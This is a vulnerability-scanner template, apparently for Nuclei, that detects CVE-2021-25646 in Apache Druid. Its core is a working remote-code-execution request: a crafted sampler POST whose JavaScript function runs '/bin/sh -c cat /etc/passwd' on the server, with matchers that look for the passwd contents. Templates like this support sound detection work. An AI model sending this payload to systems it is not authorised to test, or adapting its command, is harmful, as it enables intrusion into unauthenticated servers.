82 lines
2.3 KiB
YAML
82 lines
2.3 KiB
YAML
id: CVE-2021-25646
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info:
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name: Apache Druid RCE
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author: pikpikcu
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severity: high
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description: |
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Apache Druid is a column-oriented open source distributed data storage written in Java, designed to quickly obtain large amounts of event data and provide low-latency queries on the data.
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Apache Druid lacks authorization and authentication by default. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.
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reference:
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- https://paper.seebug.org/1476/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2021-25646
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cwe-id: CWE-732
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tags: cve,cve2021,apache,rce,druid
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requests:
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- raw:
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- |
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POST /druid/indexer/v1/sampler HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{
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"type":"index",
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"spec":{
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"ioConfig":{
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"type":"index",
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"firehose":{
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"type":"local",
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"baseDir":"/etc",
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"filter":"passwd"
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}
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},
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"dataSchema":{
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"dataSource":"odgjxrrrePz",
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"parser":{
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"parseSpec":{
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"format":"javascript",
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"timestampSpec":{
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},
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"dimensionsSpec":{
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},
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"function":"function(){var hTVCCerYZ = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"/bin/sh`@~-c`@~cat /etc/passwd\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"4137368\",OQtGXcxBVQVL: hTVCCerYZ}}",
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"":{
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"enabled":"true"
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}
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}
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}
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}
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},
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"samplerConfig":{
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"numRows":10
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}
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}
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- "application/json"
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part: header
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- type: word
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words:
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- "numRowsRead"
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- "numRowsIndexed"
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part: body
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condition: and
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- type: regex
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regex:
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- "root:.*:0:0:"
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part: body
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